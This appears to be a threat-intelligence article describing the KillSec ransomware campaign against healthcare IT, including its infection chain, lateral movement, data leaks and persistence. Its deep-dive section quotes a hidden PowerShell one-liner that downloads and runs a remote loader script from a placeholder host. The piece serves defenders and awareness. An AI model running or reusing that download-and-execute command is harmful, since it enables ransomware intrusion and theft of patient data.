KillSec Ransomware Attacking Healthcare Industry IT Systems

The KillSec ransomware strain has rapidly emerged as a formidable threat targeting healthcare IT infrastructures across Latin America and beyond.

First observed in early September 2025, KillSec operators have leveraged compromised software supply chain relationships to deploy their payloads at scale.

Initial indicators of compromise were detected when several Brazilian healthcare providers reported unusual network traffic originating from cloud storage buckets.

Uncharacteristically, this group combines rudimentary exfiltration methods—such as open AWS S3 buckets—with sophisticated encryption routines, maximizing impact while minimizing initial intrusion complexity.

Resecurity analysts noted that KillSec’s entry point frequently involves unpatched web applications or misconfigured cloud storage, both common in healthcare environments undergoing rapid digital transformation.

Once inside, the malware propagates through internal networks via legitimate administrative protocols, including Windows Remote Management (WinRM) and Remote Desktop Protocol (RDP).

This lateral movement often remains undetected for days, giving the adversaries ample time to harvest sensitive medical records and personally identifiable information (PII).

The group’s data leak site on TOR has showcased high-profile exfiltrations, confirming their willingness to publicly shame victims to coerce ransom payments.

Following compromise, KillSec actors execute a multi-stage encryption process, using a lightweight loader that invokes a custom-built AES-256 encryption routine.

Resecurity researchers identified the loader by its unique import hashing and unusual manipulation of the Advapi32.dll library, suggesting purposeful evasion of antivirus heuristics.

Their combined use of legitimate system APIs and self-developed cryptographic components makes traditional signature-based detection largely ineffective, highlighting the group’s growing technical sophistication.

Within a week of its appearance, KillSec has impacted over a dozen healthcare entities, exfiltrating more than 34 GB of data—including unredacted patient images, laboratory results, and records related to minors—before triggering ransomware demands.

The visible public leak of these files has prompted regulators to issue urgent breach notifications under Brazil’s LGPD framework.

Threat intelligence reports now warn that downstream clinics and labs using affected software could face secondary compromises if the compromised vendor’s code remains unsigned and unverified.

Infection Mechanism Deep Dive

A critical aspect of KillSec’s success lies in its dual-pronged infection mechanism, which combines opportunistic cloud bucket access with a fallback downloader embedded in common document formats.

Victims first encounter a deceptive PDF invoice file, masquerading as a billing statement from a known medical supplier.

This malformed PDF exploits a zero-day in the processing engine, triggering execution of a stealthy PowerShell one-liner:-

powershell -nop -w hidden -c "IEX((New-Object Net.WebClient).DownloadString('hxxp://malicious.example.com/loader.ps1'))"

Upon execution, this PowerShell stub retrieves an encoded payload, decodes it in memory, and uses reflective DLL injection to load the AES encryption engine directly into lsass.exe.

This inline injection bypasses disk-based detection and restricts forensic visibility to volatile memory.

The loader then enumerates network shares and scheduled tasks, creating persistence via a disguised Windows service named WinLevelService. This service is configured to run under the SYSTEM account, ensuring execution at every reboot.

By hiding its loader in benign-seeming documents and abusing cloud misconfigurations, KillSec ransomware operators maintain a high success rate against healthcare targets, underscoring the need for proactive cloud security posture management and rigorous document sanitization protocols.

Free live webinar on new malware tactics from our analysts! Learn advanced detection techniques -> Register for Free